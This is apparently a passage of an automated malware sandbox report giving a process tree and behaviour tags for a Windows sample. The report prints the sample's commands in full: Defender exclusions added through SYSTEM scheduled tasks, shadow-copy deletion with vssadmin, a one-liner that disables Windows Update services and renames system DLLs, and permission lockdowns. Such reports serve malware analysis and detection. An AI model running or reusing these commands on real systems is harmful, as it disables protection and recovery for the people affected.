- Suspicious behavior: EnumeratesProcesses
PID:4588

C:\Users\Public\AJbqOg\bbTqHH.exe
C:\Users\Public\AJbqOg\bbTqHH.exe
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5956
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\AJbqOg\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5764
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\AJbqOg\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3308
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3252
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2708
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4432
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4736
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3328
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2428
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1648
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5036
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3064
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2188
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1696
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5156
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3948
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:576
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2252
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4428
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4180
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4444
- C:\Program Files (x86)\Y1p8bM\Y1p8bM.exe
  "C:\Program Files (x86)\Y1p8bM\Y1p8bM.exe"
  2⤵
  - UAC bypass
  - Drops file in Drivers directory
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  - Drops file in Program Files directory
  - Enumerates video capture drivers
  - Event Triggered Execution: Screensaver
  - Reads the TCP/IP host and domain name from the registry
  - Checks processor information in registry
  - Modifies Control Panel
  - Suspicious use of WriteProcessMemory
  - System policy modification
  PID:3424
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\Y1p8bM" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5484
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\Y1p8bM" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:236
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    - Executes a command shell one-liner
    PID:5412
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:5808
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\Y1p8bM\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2376
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\Y1p8bM\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1808
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:4440
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:3336
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /q /c "@echo off & (for %i in (wuauserv UsoSvc uhssvc WaaSMedicSvc) do ( net stop %i >nul 2>&1 & sc config %i start= disabled >nul 2>&1 & sc failure %i reset= 0 actions= "" >nul 2>&1 )) & (for %i in (WaaSMedicSvc wuaueng) do ( takeown /f C:\Windows\System32\%i.dll >nul 2>&1 & icacls C:\Windows\System32\%i.dll /grant *S-1-1-0:F >nul 2>&1 & rename C:\Windows\System32\%i.dll %i_BAK.dll >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /setowner "NT SERVICE\TrustedInstaller" >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /remove *S-1-1-0 >nul 2>&1 )) & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f >nul 2>&1 & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f >nul 2>&1 & reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f >nul 2>&1 & erase /f /s /q c:\windows\softwaredistribution\*.* >nul 2>&1 & rmdir /s /q c:\windows\softwaredistribution >nul 2>&1 & powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}" >nul 2>&1"
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2472
  - - C:\Windows\SysWOW64\net.exe
      net stop wuauserv
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3288
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop wuauserv
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4864
  - - C:\Windows\SysWOW64\sc.exe
      sc config wuauserv start= disabled
      4⤵
      Launches sc.exe
      PID:3580
  - - C:\Windows\SysWOW64\sc.exe
      sc failure wuauserv reset= 0 actions= ""
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:6120
  - - C:\Windows\SysWOW64\net.exe
      net stop UsoSvc
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3068
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop UsoSvc
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2192
  - - C:\Windows\SysWOW64\sc.exe
      sc config UsoSvc start= disabled
      4⤵
      Launches sc.exe
      PID:1208
  - - C:\Windows\SysWOW64\sc.exe
      sc failure UsoSvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:4556
  - - C:\Windows\SysWOW64\net.exe
      net stop uhssvc
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5740
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop uhssvc
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:6076
  - - C:\Windows\SysWOW64\sc.exe
      sc config uhssvc start= disabled
      4⤵
      Launches sc.exe
      PID:4464
  - - C:\Windows\SysWOW64\sc.exe
      sc failure uhssvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      PID:2828
  - - C:\Windows\SysWOW64\net.exe
      net stop WaaSMedicSvc
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2264
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop WaaSMedicSvc
        5⤵
        
        PID:2284
  - - C:\Windows\SysWOW64\sc.exe
      sc config WaaSMedicSvc start= disabled
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:2708
  - - C:\Windows\SysWOW64\sc.exe
      sc failure WaaSMedicSvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:5572
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32\WaaSMedicSvc.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5736
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4352
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4604
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /remove *S-1-1-0
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1252
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32\wuaueng.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:960
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng.dll /grant *S-1-1-0:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4592
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng_BAK.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4136
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng_BAK.dll /remove *S-1-1-0
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3804
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:3436
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:5052
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:3836
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious use of AdjustPrivilegeToken
      PID:1496
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:1620
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - Suspicious use of WriteProcessMemory
    PID:72
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:5192
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:2496
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:2968
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\Y1p8bM" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2292
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\Y1p8bM" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3512
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\Y1p8bM" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1408
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\Y1p8bM" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5592
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\Y1p8bM\Y1p8bM.exe" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3544
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\Y1p8bM\Y1p8bM.exe" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4896
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - Suspicious use of WriteProcessMemory
    PID:1568
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4900
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:1328
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:3452
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\Y1p8bM\Y1p8bM.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1688
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\Y1p8bM\Y1p8bM.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:6064
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\Y1p8bM\Y1p8bM.exe" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:768
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\Y1p8bM\Y1p8bM.exe" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2908
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\Y1p8bM\image.png" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5860
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\Y1p8bM\image.png" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2704
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    PID:3620
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:2460
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:4796
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:4180
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\Y1p8bM\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:5040
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\Y1p8bM\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4088
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\Y1p8bM\image.png" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:4736
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\Y1p8bM\image.png" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5012
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\Y1p8bM\thumbs.db" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:5952
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\Y1p8bM\thumbs.db" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2428
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\Y1p8bM\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:2232
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\Y1p8bM\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5148
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\Y1p8bM\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:2168
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\Y1p8bM\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4128
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    PID:1132
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:1144
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:2820
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:5532
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\Y1p8bM\XPSPLOG.dll" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:3744
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\Y1p8bM\XPSPLOG.dll" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2980
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\Y1p8bM\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:5804
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\Y1p8bM\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3916
- - C:\Windows\SysWOW64\cmd.exe
